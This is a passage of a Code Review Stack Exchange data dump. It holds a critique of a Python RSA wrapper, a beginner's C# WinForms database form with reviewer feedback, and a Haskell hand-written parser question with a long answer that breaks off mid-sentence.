regenerate_pub(path_priv: Path=DEFAULT_PRIV):\n</code></pre>\n<p>I don't see why you don't just always save the public key as well. That way you don't need to call the function externally either.</p>\n<pre><code>bytes = text.encode('utf8')\n</code></pre>\n<p>Better perform this function separately because now it is hidden. You need at least describe your protocol I suppose.</p>\n<pre><code>encrypted = rsa.encrypt(bytes, pub)\n</code></pre>\n<p>It is not a good idea to directly encrypt data using RSA only. Generally you would use hybrid cryptosystem (RSA encrypting a random data key).</p>\n<p>That's very necessary if you use sign-then-encrypt or your encryption key must be much larger than the signing key. Currently your <code>test</code> method only signs / verifies the message separately, hiding the issue.</p>\n<pre><code>print('ERROR: DecryptionError!')\n string = ''\n return string\n</code></pre>\n<p>Please never return empty on error. You should not print errors, they log them.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-01-17T07:32:39.623", "Id": "502585", "Score": "0", "body": "Thanks a ton, your answer shows me how very little I know about the whole security business. Could you please elaborate on the following parts: 1. the utf-8 part, 2. encrypting data using RSA only (I was under the impression AES is being thrown in purely for efficiency of large messages e.g. videos) 3. So I should `raise DecryptionError` instead?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-01-17T13:08:32.523", "Id": "502613", "Score": "1", "body": "1. UTF-8 is correct, but it's hidden in the function, so either describe it or use another function for it that needs to be explicitly called (encoding is not really part of encryption). 2. Yes, for RSA can be used for small messages, but generally we just always use hybrid encryption (why would the message size be have to be dictated by the cipher?) 3. Yes, just raise an error and have the calling party deal with decryption errors. Note that might well mean that you ignore the error because returning precise crypto errors to the user is dangerous. Logging them is fine though." } ], "meta_data": { "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-27T10:26:36.353", "Id": "253948", "ParentId": "253493", "Score": "2" } } ]
{ "AcceptedAnswerId": "253508", "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T06:56:02.827", "Id": "253493", "Score": "2", "Tags": [ "python", "security", "type-safety" ], "Title": "RSA wrapper python" }
253493
<p>I am learning .NET for about a month now ..and i am practicing by making a simple WinForms project ..now almost my WinForms is completed ..i need to gather your suggestion on how my progress is going and the code is efficient or not , kindly review this below code and share you valuable suggestions:</p> <pre><code>using System; using System.Collections.Generic; using System.ComponentModel; using System.Configuration; using System.Data; using System.Data.SqlClient; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; namespace QCIP { public partial class FormNewEntry : Form { readonly string cs = ConfigurationManager.ConnectionStrings[&quot;dbcs&quot;].ConnectionString; public FormNewEntry() { InitializeComponent(); get_items(); } private void FormNewEntry_Load(object sender, EventArgs e) { // TODO: This line of code loads data into the 'sQCDataDataSet.IP_Spools' table. You can move, or remove it, as needed. this.iP_SpoolsTableAdapter.Fill(this.sQCDataDataSet.IP_Spools); this.iP_SpoolsBindingSource.AddNew(); // f2.fo = spoolIdTextBox.Text; } void get_items() { SqlConnection con = new SqlConnection(cs); String query = &quot;select * from RejReason&quot;; SqlCommand cmd = new SqlCommand(query, con); con.Open(); SqlDataReader dr = cmd.ExecuteReader(); while (dr.Read()) { string item_names = dr.GetString(1); rejectReason1ComboBox.Items.Add(item_names); rejectReason2ComboBox.Items.Add(item_names); rejectReason3ComboBox.Items.Add(item_names); } con.Close(); } private void btnsave_Click(object sender, EventArgs e) { try { String msg = &quot;Confirm Save?&quot;; String caption = &quot;Save Record&quot;; MessageBoxButtons buttons = MessageBoxButtons.YesNo; MessageBoxIcon ico = MessageBoxIcon.Question; DialogResult result; result = MessageBox.Show(this, msg, caption, buttons, ico); if (result == DialogResult.Yes) { generateautoID(); this.iP_SpoolsBindingSource.EndEdit(); MessageBox.Show(&quot;The Record saved Successfully:&quot; + outputSpoolNoTextBox.Text, &quot;Save_Update&quot;, MessageBoxButtons.OK, MessageBoxIcon.Information); this.iP_SpoolsTableAdapter.Update(this.sQCDataDataSet.IP_Spools); this.iP_SpoolsTableAdapter.Fill(this.sQCDataDataSet.IP_Spools); //MessageBox.Show(&quot;The Record saved Successfully:&quot;, &quot;Save_Update&quot;, //MessageBoxButtons.OK, MessageBoxIcon.Information); this.iP_SpoolsBindingSource.AddNew(); } else { return; } } catch (Exception ex) { MessageBox.Show(&quot;Saving Failed:&quot; + ex.Message.ToString(), &quot;Save&quot;, MessageBoxButtons.OK, MessageBoxIcon.Error); } } private void btncancel_Click(object sender, EventArgs e) { this.Close(); } private void TSCalc_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) { try { if (unitComboBox.Text == &quot;Mic&quot;) { Decimal a = Decimal.Parse(frontWtTextBox.Text); Decimal b = Decimal.Parse(backWtTextBox.Text); Decimal c = (a + b) / 2; Decimal d = Decimal.Parse(cFComboBox.Text); Decimal g = (c * c)/d; decimal h = decimal.Parse(bLTextBox.Text); decimal j = h / g; tSTextBox.Text = Decimal.Round(j, 2).ToString(&quot;0.00&quot;); } else if (unitComboBox.Text == &quot;Mg&quot;) { Decimal a = Decimal.Parse(frontWtTextBox.Text); Decimal b = Decimal.Parse(backWtTextBox.Text); Decimal c = (a + b) / 2; Decimal h = decimal.Parse(bLTextBox.Text); Decimal g = h / c; tSTextBox.Text = Decimal.Round(g, 2).ToString(&quot;0.00&quot;); } else { tSTextBox.Text = 0.ToString(&quot;0.00&quot;); } } catch(Exception ex) { MessageBox.Show(&quot;TS Can't be calculated:Check All the boxes are entered&quot; + ex.Message.ToString(), &quot;TS Calculation&quot;, MessageBoxButtons.OK, MessageBoxIcon.Error); } } private void getlotnumbers() { try { SqlConnection con = new SqlConnection(cs); SqlCommand cmd; con.Open(); string s = &quot;SELECT t1.CoilNo FROM IP_Spools AS t1 LEFT OUTER JOIN Lot_Numbers AS t2 ON t1.CoilNO = t2.CoilNumber&quot;; cmd = new SqlCommand(s, con); cmd.CommandType = CommandType.Text; int i = cmd.ExecuteNonQuery(); lotNoTextBox.Text = s; con.Close(); } catch(Exception ex) { MessageBox.Show(&quot;Lot Number Not Found:&quot; + ex.Message.ToString(), &quot;Lot Number&quot;, MessageBoxButtons.OK, MessageBoxIcon.Error); } } private void Svlinklabel_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) { try { if (frontWtTextBox.Text != &quot;&quot; &amp;&amp; backWtTextBox.Text != &quot;&quot;) { Decimal a = Decimal.Parse(frontWtTextBox.Text); Decimal b = Decimal.Parse(backWtTextBox.Text); Decimal c = 0; if (a &gt; b) { c = ((a - b) / b); svTextBox.Text = Decimal.Round(c, 2).ToString(&quot;0.00&quot;); } else if (b &gt; a) { c = ((b - a) / b); svTextBox.Text = Decimal.Round(c, 2).ToString(&quot;0.00&quot;); } } else { svTextBox.Text = 0.ToString(&quot;0.00&quot;); } } catch (Exception ex) { MessageBox.Show(&quot;SV Calculation Failed:&quot; + ex.Message.ToString(), &quot;SV calculation&quot;, MessageBoxButtons.OK, MessageBoxIcon.Error); } } private void LotNolinklabel_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) { getlotnumbers(); } private void generateautoID() { try { string customID = string.Empty; DateTime dt = DateTime.Now; customID = dt.ToString(&quot;yyyyMM&quot;); SqlConnection con = new SqlConnection(cs); SqlCommand cmd; con.Open(); string s = &quot;select Max(SpoolId) from IP_Spools&quot;; cmd = new SqlCommand(s, con); int count = Convert.ToInt16(cmd.ExecuteScalar()) + 1; con.Close(); outputSpoolNoTextBox.Text = customID + count; } catch(Exception ex) { MessageBox.Show(&quot;AUTOID Error:&quot; + ex.ToString(), &quot;QCIP&quot;, MessageBoxButtons.OK, MessageBoxIcon.Stop); } } } } </code></pre> <p>image of winform design:</p> <p><a href="https://i.stack.imgur.com/CAPSz.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/CAPSz.png" alt="winform" /></a></p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T09:57:20.020", "Id": "499868", "Score": "6", "body": "what is the task accomplished by the code?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T10:16:23.120", "Id": "499869", "Score": "0", "body": "it'll enter the data to my mssql database when above validations satisfy.." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T10:52:02.047", "Id": "499874", "Score": "1", "body": "The site standard is for the title to **simply state the task accomplished by the code**. Please see [**How do I ask a good question?**](https://CodeReview.StackExchange.com/help/how-to-ask)." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T10:53:57.667", "Id": "499875", "Score": "1", "body": "@RaviKumar The task is not \"enter the data to my mssql database when above validations satisfy\", that is a fairly generic description that could be applied to numerous questions here. Look at the other questions on this site and how they are titled." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T11:02:18.740", "Id": "499877", "Score": "0", "body": "ohh ok ..sorry i didn't knew ..what i am trying to ask is i have created some custom function and i have linked those function into the click events of my WinForms button...i needed to know the way i have written my functions are efficient? and is it readable for others too?. And is there any point where i need to focus on etc.." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T14:21:35.700", "Id": "499884", "Score": "2", "body": "In the body question itself please state what the form is supposed to do. It looks like it might be an inventory of wires. The explanation will help us review the code." } ]
[ { "body": "<p>Without knowing the full intent of your task here, there are only a few generic suggestions I can offer:</p>\n<ol>\n<li><p><strong>Avoid naming variables with single characters.</strong> While that might feel like a slick or efficient thing to do, when things start getting complicated, you'll quickly regret that choice. You, or the poor soul after you. For example, your TSCalc_LinkClicked method would need a lot of variable renaming. Computers can handle whatever weird, slick code you throw at it, but you want it to be maintainable, so always remember that your maintainers are human. A handful of letter-sized variables is horrible to deal with when tracking down bugs. From a compiler's perspective, there's no difference whether the variable is named <strong>a</strong> or <strong>thisIncrediblyDescriptiveButOverlyLongVariableName</strong>, but your colleagues will thank you.</p>\n</li>\n<li><p><strong>Use Microsoft's coding standards if possible.</strong> Those are largely considered industry standard, and state to use the implicitly typed variable (var) unless the type is not immediately obvious. I generally find most places follow (to some degree or another) this standard.\n<a href=\"https://docs.microsoft.com/en-us/dotnet/csharp/programming-guide/inside-a-program/coding-conventions\" rel=\"nofollow noreferrer\">https://docs.microsoft.com/en-us/dotnet/csharp/programming-guide/inside-a-program/coding-conventions</a></p>\n</li>\n<li><p><strong>Avoid creating unnecessary variables.</strong> An example would be the message and caption you have in btnsave_Click - they're only used in once and in one place in that method. There's no need to allocate a variable specifically for that purpose. This is super micro-optimization, but something to keep in mind is only create what is necessary when it is necessary. Keep your footprint small.</p>\n</li>\n<li><p><strong>Dispose of your connections.</strong> Last suggestion, and the one I consider most important - you are not disposing your connections or commands, instead relying entirely on the GC to do that. Good practice suggests wrapping those in using statements. A benefit of wrapping those in using statements is that the commands are closed when you leave that exection block and dispose is called - no need to handle it explicitly, it's cleaned up appropriately. See below:</p>\n<pre><code> using (var con = new SqlConnection(cs))\n {\n using (var cmd = con.CreateCommand())\n {\n cmd.CommandType = CommandType.Text;\n cmd.CommandText = &quot;Your SQL Statement&quot;;\n\n con.Open();\n cmd.ExecuteNonQuery();\n }\n }\n</code></pre>\n</li>\n</ol>\n<p>Another option is:</p>\n<pre><code>using (var con = new SqlConnection(cs))\n{\n using (var cmd = new SqlCommand(sql, con))\n {\n con.Open();\n using (var reader = cmd.ExecuteReader())\n {\n while (reader.Read())\n {\n /* Do stuff with reader */\n }\n }\n }\n}\n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-22T04:27:10.787", "Id": "500434", "Score": "1", "body": "Thank you for all of your suggestions ...as you said i was clearly ignorant on naming the variables but now i will give them all meaningful names, and i will handle sql connections and functions as per your instructions." } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-21T19:58:49.843", "Id": "253752", "ParentId": "253494", "Score": "2" } }, { "body": "<p>In addition to what StyxRiver already said, a couple tips:</p>\n<p>Potentially suspicious function:</p>\n<pre><code>generateautoID()\n</code></pre>\n<p>What does it <em>really</em> do ? I suspect this is a task that could be left to the DBMS you're using...</p>\n<p>You have a routine <code>get_items</code> to populate a few combo boxes. Instead, I would load the list of options to a <strong>datatable</strong> and bind it to the combo box.\nFor this, use the <code>DataSource</code> and <code>DisplayMember</code> properties. In your case that would be something along these lines.\nAssuming you already have a connection open and available (con):</p>\n<pre><code>using (SqlCommand cmd = new SqlCommand(&quot;SELECT * FROM table&quot;))\n{\n cmd.Connection = con;\n using (SqlDataReader sdr = cmd.ExecuteReader())\n {\n // Create a new DataTable.\n DataTable dtReasons = new DataTable(&quot;Reasons&quot;);\n\n // Load results into the DataTable.\n dtReasons.Load(sdr);\n }\n}\n</code></pre>\n<p>and then:</p>\n<pre><code>rejectReason1ComboBox.DataSource = the_datatable\nrejectReason1ComboBox.DisplayMember = &quot;column you want to show&quot;\nrejectReason1ComboBox.ValueMember = &quot;underlying column value&quot;\n</code></pre>\n<p>Note that there are different ways of doing the same thing, using SqlDataReader or something else.</p>\n<p>Exception handling: it is present in multiple functions. This is OK for testing but I would recommend that you set up centralized exception handling <strong>and logging</strong> for your program. Define it once only.</p>\n<p>But exception handling should not be used for <strong>validation</strong> of input, because it has a cost and is not optimal. Exception handling is meant to catch unexpected errors, not to serve as an all-purpose validation mechanism.</p>\n<p>Checking that a text box is (not) empty is very simple, so you can easily prevent exceptions from being raised in the first place, and provide more meaningful feedback to the user. Saying that the calculation failed is <strong>not helpful</strong>. What is helpful and user-friendly is to state precisely what the error is, which fields are incomplete or incorrect. The exception handler as it is used lacks context.</p>\n<p>Make sure that you use the right controls for your UI. For numeric input you should use <a href=\"https://docs.microsoft.com/en-us/dotnet/api/system.windows.forms.numericupdown?view=net-5.0\" rel=\"nofollow noreferrer\">numericupdown controls</a> instead of regular text boxes. That means the user is restricted as to what kind of input is allowed, and there is less validation effort on your end as a result. You will see that you can simplify your code further...</p>\n<p>This code does not seem to be safe for your purpose:</p>\n<pre><code>if (frontWtTextBox.Text != &quot;&quot; &amp;&amp; backWtTextBox.Text != &quot;&quot;)\n</code></pre>\n<p>The text boxes could still contain garbage. But the numericupdown controls will alleviate this problem.</p>\n<p>And since you have a grid layout, you might like the <a href=\"https://docs.microsoft.com/en-us/visualstudio/ide/step-4-lay-out-your-form-with-a-tablelayoutpanel-control?view=vs-2019\" rel=\"nofollow noreferrer\">tablelayoutpanel control</a>. This will simplify your life if you have to make change to your form later...</p>\n<p>Some superfluous imports (as far as I can tell but without testing the code):</p>\n<pre><code>using System.Drawing;\nusing System.Linq;\nusing System.Threading.Tasks;\n</code></pre>\n<p>I would get rid of unused imports and variables. Get rid of one-time variables as well, to keep the code as small as possible. Redundant/unused code is distraction.</p>\n<p>In btnsave_Click you have code like this:</p>\n<pre><code> if (result == DialogResult.Yes)\n {\n ...\n }\n else\n {\n return;\n }\n</code></pre>\n<p>The else block is superfluous too, because this is the end of the procedure, there is nothing left to execute. So you can trim down the code a bit.</p>\n<p>As already said the code could be more compact:</p>\n<pre><code> String msg = &quot;Confirm Save?&quot;;\n String caption = &quot;Save Record&quot;;\n MessageBoxButtons buttons = MessageBoxButtons.YesNo;\n MessageBoxIcon ico = MessageBoxIcon.Question;\n DialogResult result;\n result = MessageBox.Show(this, msg, caption, buttons, ico);\n</code></pre>\n<p>Only one line will suffice:</p>\n<pre><code>DialogResult result = MessageBox.Show(this, &quot;Confirm Save?&quot;, &quot;Save Record&quot;, MessageBoxButtons.YesNo, MessageBoxIcon.Question);\n</code></pre>\n<p>(you can still split this in two lines if you want)</p>\n<p>You have too many variables, that makes the code unnecessarily longer and harder to follow. Good code should be intuitive and to the point.</p>\n<p>Things to improve:</p>\n<ul>\n<li>naming conventions (for your own sanity) - variable names like a, b, c, d are a pain and it's not obvious what task is being performed, which leads me to the second point:</li>\n<li>commenting your code - when you have functions like <code>TSCalc_LinkClicked</code> it wouldn't hurt to write in a few lines what you are doing and why. If you revisit your code in 6 months you would have to reanalyze it.</li>\n</ul>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-22T04:14:33.370", "Id": "500433", "Score": "0", "body": "Thank you very very much ...your inputs are so valuable for me as a learner ..will study on all the pints and i'll make the changes as you instructed..thank you again.." } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-21T21:30:52.693", "Id": "253760", "ParentId": "253494", "Score": "1" } } ]
{ "AcceptedAnswerId": "253760", "CommentCount": "6", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T08:27:49.457", "Id": "253494", "Score": "2", "Tags": [ "c#", "beginner", "winforms" ], "Title": "final code of my first winform application" }
253494
<p>I'm <em>very</em> new to haskell (I never used Monads, Functors and other things) and FP in general. I decided to write the simplest parser I possibly can with some expansion possibilities. (I have a general interest in programming languages, so this is why I chose to do this...).</p> <p>I have a simple parser type:</p> <pre class="lang-hs prettyprint-override"><code>type Parser a = String -&gt; (Maybe a, String) -- (Nothing, ErrorMessage) -- (Just a, Leftovers) </code></pre> <p>I can parse any character and return an error if there are none:</p> <pre class="lang-hs prettyprint-override"><code>eatParser :: Parser Char eatParser [] = (Nothing, &quot;Unexpected EOF&quot;) eatParser (x:xs) = (Just x, xs) </code></pre> <p>I can parse a <em>specific</em> character:</p> <pre class="lang-hs prettyprint-override"><code>charParser :: Char -&gt; Parser Char charParser c s = case eatParser s of (Nothing, e) -&gt; (Nothing, e) (Just x, xs) | x == c -&gt; (Just x, xs) (Just x, _) | x /= c -&gt; (Nothing, &quot;Expected &quot; ++ [c] ++ &quot;, but got &quot; ++ [x] ++ &quot; instead.&quot;) </code></pre> <p>Also, a specific string:</p> <pre class="lang-hs prettyprint-override"><code>stringParser :: String -&gt; Parser String stringParser [] s = (Just &quot;&quot;, s) stringParser u s = case charParser (head u) s of (Nothing, e) -&gt; (Nothing, e) (Just x, xs) -&gt; case stringParser (tail u) xs of (Nothing, e) -&gt; (Nothing, e) (Just x', xs') -&gt; (Just $ x : x', xs') </code></pre> <p>And any word:</p> <pre class="lang-hs prettyprint-override"><code>varParser :: Parser String varParser s = case eatParser s of (Nothing, _) -&gt; (Just [], []) (Just x, xs) | not $ isLetter x -&gt; (Just [], xs) (Just x, xs) | isLetter x -&gt; case varParser xs of (Nothing, e') -&gt; (Nothing, e') (Just [], _) -&gt; (Just [x], xs) (Just x', xs') -&gt; (Just $ x : x', xs') </code></pre> <p>And finally, the expression parser</p> <pre class="lang-hs prettyprint-override"><code>data Expr = Open Expr | Value String deriving (Show) exprParser :: Parser Expr exprParser s = case charParser '(' s of (Nothing, _) -&gt; case varParser s of (Nothing, e) -&gt; (Nothing, e) (Just x, xs) -&gt; (Just $ Value x, xs) (Just _, xs) -&gt; case exprParser xs of (Nothing, e) -&gt; (Nothing, e) (Just q, xs') -&gt; case charParser ')' xs' of (Nothing, e) -&gt; (Nothing, e) (Just _, xs'') -&gt; (Just $ Open q, xs'') </code></pre> <hr/> <p>Here are some examples of what the code does:</p> <pre class="lang-hs prettyprint-override"><code> *Test2&gt; eatParser &quot;abc&quot; (Just 'a',&quot;bc&quot;) *Test2&gt; charParser 'a' &quot;abc&quot; (Just 'a',&quot;bc&quot;) *Test2&gt; charParser 'b' &quot;abc&quot; (Nothing,&quot;Expected b, but got a instead.&quot;) *Test2&gt; stringParser &quot;abc&quot; &quot;abce&quot; (Just &quot;abc&quot;,&quot;e&quot;) *Test2&gt; stringParser &quot;abc&quot; &quot;abc&quot; (Just &quot;abc&quot;,&quot;&quot;) *Test2&gt; stringParser &quot;abc&quot; &quot;axbc&quot; (Nothing,&quot;Expected b, but got x instead.&quot;) *Test2&gt; varParser &quot;abc&quot; (Just &quot;abc&quot;,&quot;&quot;) *Test2&gt; varParser &quot;abc2&quot; (Just &quot;abc&quot;,&quot;2&quot;) *Test2&gt; varParser &quot;abc abc2&quot; (Just &quot;abc&quot;,&quot; abc2&quot;) *Test2&gt; exprParser &quot;((aa))bc&quot; (Just (Open (Open (Value &quot;aa&quot;))),&quot;bc&quot;) *Test2&gt; exprParser &quot;((aa)b)bc)&quot; (Nothing,&quot;Expected ), but got b instead.&quot;) </code></pre> <hr/> <p>I know that there is a way to simplify all of the <code>case ... s of (Nothing, e) -&gt; (Nothing, e) (Just x, xs) -&gt; ...</code></p> <p>And not use <code>parserSequence</code>...</p> <p>Can you tell what I can improve? Thanks in advance :D</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T11:28:40.877", "Id": "499927", "Score": "0", "body": "You're on a right track! I can't comment too much right now, but I would suggest checking out one of the following resources:\n* https://www.cs.nott.ac.uk/~pszgmh/monparsing.pdf\n* https://youtu.be/N9RUqGYuGfw The first one is more complete imo, and it is also \"the\" original paper on this topic, afaik." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T04:45:47.750", "Id": "499931", "Score": "0", "body": "I think what you can improve is to learn `Monad`, `Applicative`, and `Functor`, and write your parser more concise." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T09:45:06.030", "Id": "499958", "Score": "0", "body": "I'm trying to now :D I'll make an update with those in mind when I learn them!" } ]
[ { "body": "<h3>Short Answer</h3>\n<p>This looks like a decent attempt. There are a few minor stylistic issues, but I think the biggest conceptual problem is a bad choice of <code>Parser</code> type. You should separate <code>ErrorMessage</code> from <code>Leftovers</code>, as these aren't the same sort of thing and so shouldn't share a single field in the algebraic type. Much clearer is:</p>\n<pre><code>type Parser a = String -&gt; Either Error (Maybe a, String)\ntype Error = String\n</code></pre>\n<p>You've acknowledged that you've never used monads and functors. Well, there's no time like the present! Parsers and monads are a match made in heaven. With the cost of some gnarly monad boilerplate, you can rewrite the bulk of your parsing logic in a much cleaner style, as I show below. Since you have an interest in programming languages and parsing anyway, I'd suggest reading through some tutorials that show how to write monadic parsers from scratch. It's a great way to start using monads. See <a href=\"http://www.cs.nott.ac.uk/%7Epszgmh/monparsing.pdf\" rel=\"nofollow noreferrer\">this article</a> or <a href=\"http://olenhad.me/articles/monadic-parsers/\" rel=\"nofollow noreferrer\">this blog post</a> for example. These and other older resources are based on the old version of the <code>Monad</code> class, and you'll get error messages about missing <code>Applicative</code> or <code>Alternative</code> instances. You can see the <a href=\"https://gitlab.haskell.org/ghc/ghc/-/wikis/migration/7.10#base-4.8.0.0\" rel=\"nofollow noreferrer\">notes in the 7.10.x migration guide</a> for how to fix old code so it compiles.</p>\n<h3>Long Answer</h3>\n<p>If you want to write a non-monadic parser, this looks like a reasonable first attempt. A few minor stylistic points. When writing two guards for the same pattern (or compatible patterns), like here:</p>\n<pre><code>case ... of\n (Just x, xs) | x == c -&gt; ...\n (Just x, _) | x /= c -&gt; ...\n</code></pre>\n<p>it's more usual to chain the guards without repeating the pattern:</p>\n<pre><code>case ... of\n (Just x, xs) | x == c -&gt; ...\n | x /= c -&gt; ...\n</code></pre>\n<p>Also, if you have two mutually exclusive guards, it's more usual to use <code>otherwise</code> than write a negated form of the guard. So, <code>charParser</code> would be written:</p>\n<pre><code>charParser :: Char -&gt; Parser Char\ncharParser c s = case eatParser s of\n (Nothing, e) -&gt; (Nothing, e)\n (Just x, xs) | x == c -&gt; (Just x, xs)\n | otherwise -&gt; (Nothing, &quot;...&quot;)\n</code></pre>\n<p>This has a further advantage that if you turn on the <code>ghc -Wall</code> flag, it'll warn you about <code>case</code> statements and function definitions that don't cover all possible patterns, but mutually exclusive guards will generate false positives unless you use <code>otherwise</code>. (That is, the compiler isn't willing to assume that it's impossible for both <code>x == c</code> and <code>x /= c</code> to fail.)</p>\n<p>Also, this is more personal preference, but I think it makes more sense to make the &quot;success&quot; case more prominent by moving it to the front:</p>\n<pre><code>charParser :: Char -&gt; Parser Char\ncharParser c s = case eatParser s of\n (Just x, xs) | x == c -&gt; (Just x, xs) -- we succeed\n | otherwise -&gt; (Nothing, &quot;...&quot;) -- or experience various...\n (Nothing, e) -&gt; (Nothing, e) -- ...types of failure\n</code></pre>\n<p>It's a big newbie mistake to write functions with lots of <code>head</code> and <code>tail</code> calls. Pattern matching with <code>x:xs</code> is preferred, since it's not only clearer, but if you turn on <code>-Wall</code> and stamp out any warnings, the pattern matching code is guaranteed not to try to take the head or tail of an empty list. You've done a good job of using patterns instead of <code>head</code> and <code>tail</code>, but I'd extend this to <code>stringParser</code>, too:</p>\n<pre><code>stringParser :: String -&gt; Parser String\nstringParser [] s = (Just &quot;&quot;, s)\nstringParser (u:us) s = case charParser u s of\n (Just x, xs) -&gt; case stringParser us xs of\n (Just x', xs') -&gt; (Just $ x : x', xs')\n (Nothing, e) -&gt; (Nothing, e)\n (Nothing, e) -&gt; (Nothing, e)\n</code></pre>\n<p>The use of <code>x'</code> here is confusing though, since I'd expect it to have the same type as <code>x</code>, but <code>x :: Char</code> and <code>x' :: String</code> have different types. I guess I'd rename the variables to more consistently identify the &quot;rest&quot; of the stream and differentiate it from what we're trying to parse <code>u:us</code> and what we've actually parsed <code>x:xs</code>:</p>\n<pre><code>stringParser :: String -&gt; Parser String\nstringParser [] s = (Just &quot;&quot;, s)\nstringParser (u:us) s = case charParser u s of\n (Just x, rest) -&gt; case stringParser us rest of\n (Just xs, rest') -&gt; (Just (x:xs), rest')\n (Nothing, e) -&gt; (Nothing, e)\n (Nothing, e) -&gt; (Nothing, e)\n</code></pre>\n<p>I think this makes the function a little clearer. Technically, <code>x:xs</code> isn't needed since it's just a copy of <code>u:us</code>, so you could write:</p>\n<pre><code>stringParser :: String -&gt; Parser String\nstringParser [] s = (Just &quot;&quot;, s)\nstringParser (u:us) s = case charParser u s of\n (Just _, rest) -&gt; case stringParser us rest of\n (Just _, rest') -&gt; (Just (u:us), rest')\n (Nothing, e) -&gt; (Nothing, e)\n (Nothing, e) -&gt; (Nothing, e)\n</code></pre>\n<p>Some people think it's important to preserve the value <code>u:us</code> for return with <code>@</code>-syntax:</p>\n<pre><code>stringParser :: String -&gt; Parser String\nstringParser [] s = (Just &quot;&quot;, s)\nstringParser uall@(u:us) s = case charParser u s of\n (Just _, rest) -&gt; case stringParser us rest of\n (Just _, rest') -&gt; (Just uall, rest') -- we return &quot;uall&quot; here\n (Nothing, e) -&gt; (Nothing, e)\n (Nothing, e) -&gt; (Nothing, e)\n</code></pre>\n<p>I don't know if this is clearer, and the <code>@</code>-syntax is pretty repulsive. I think there's a misguided notion that there's a performance gain here by not re-creating the <code>u:us</code> value right after breaking it apart, but GHC optimizes it and produces equivalent code, so use whichever is clearer.</p>\n<p>There seems to be a bug in <code>varParser</code>. In the case with <code>not (isLetter x)</code>, the <code>x</code> token is thrown away, so the following test fails:</p>\n<pre><code>&gt; varParser &quot;123&quot;\n(Just &quot;&quot;,&quot;23&quot;)\n</code></pre>\n<p>This should either return <code>(Just &quot;&quot;, &quot;123&quot;)</code> or <code>(Nothing, &quot;expected a letter&quot;)</code>, I guess. You don't notice this bug because the recursive call of <code>varParser</code> compensates for it through an extra case. If you fix it, then that case becomes redundant and the EOF case can be merged with the not-a-letter case, so you can simplify <code>varParser</code> to something more like:</p>\n<pre><code>varParser :: Parser String\nvarParser s = case eatParser s of\n (Just x, rest) | isLetter x -&gt; case varParser rest of\n (Just xs, rest') -&gt; (Just (x:xs), rest')\n (Nothing, e) -&gt; (Nothing, e)\n _ -&gt; (Just [], s)\n</code></pre>\n<p>Technically, the <code>(Nothing, e)</code> case can never be triggered, but you need to keep it in to avoid a <code>-Wall</code> warning.</p>\n<p>There are two &quot;big ticket&quot; problems with your code, however. The first is that your choice of <code>Parser</code> data type is poor:</p>\n<pre><code>type Parser a = String -&gt; (Maybe a, String)\n</code></pre>\n<p>In the return type here, you use the first <code>Maybe a</code> component as a flag: if it's <code>Nothing</code>, the second <code>String</code> component is an error. If it's <code>Just a</code>, the second <code>String</code> component is the rest of the stream. However, parse errors and rest-of-streams are not semantically comparable things, and it's pure coincidence that they happen to have the same <code>String</code> type, so they shouldn't be represented by the same field in your algebraic type. From a practical standpoint, if you decided to refactor your code to parse streams of tokens other than <code>String</code>s or use a different <code>Error</code> type that includes location information, you'll have to do a lot of unnecessary modification. You also introduce the potential for dumb programming bugs, where you start parsing error message or printing stream remainders on the console, because they're both <code>String</code> and the bad code will type check. But these practical concerns are probably not that convincing, and in this simple example probably aren't too serious. It's really just the theoretical, best-practices issue that this is a bad design when a much more straightforward and idiomatic type is available:</p>\n<pre><code>type Parser a = String -&gt; Either String (a, String)\n</code></pre>\n<p>Most Haskell programmers would be confused by your <code>Parser</code> type. But, every Haskell programmer will understand this new <code>Parser</code> type immediately. The <code>Either error result</code> convention and the <code>String -&gt; (a, String)</code> pattern, and the combination of the two of them, are hardwired into their brains. You could make it even more obvious by writing:</p>\n<pre><code>type Parser a = String -&gt; Either Error (a, String)\ntype Error = String\n</code></pre>\n<p>Anyway, the resulting rewritten parsers look about the same, for example:</p>\n<pre><code>charParser :: Char -&gt; Parser Char\ncharParser c s = case eatParser s of\n Right (x, xs) | x == c -&gt; Right (x, xs)\n | otherwise -&gt; Left $ &quot;Expected &quot; ++ [c] ++ &quot;, but got &quot; ++ [x] ++ &quot; instead.&quot;\n Left e -&gt; Left e\n</code></pre>\n<p>but I think this new parser type is just a fundamentally better choice.</p>\n<p>The second big ticket problem with your code is, as you've acknowledged in the question, the proliferation of nested cases to handle cascading parse failure. In many types of code, error handling involves handling exceptional situations, and you can usually get away with no more than a few deeply nested cases where the overall &quot;success path&quot; remains clear. In parsing, failure of parsers is fundamental to the parsing process, and nearly every parser ends up handling multiple failure modes, often (as in your <code>varParser</code>) in ways that involve converting &quot;failure&quot; into &quot;success&quot; or vice versa.</p>\n<p>The best way to fix this is to introduce parser combinators. The combinators themselves can use ugly nested cases in their implementation, but if the combinators have &quot;meaning&quot;, they will result in code that's easier to read where it 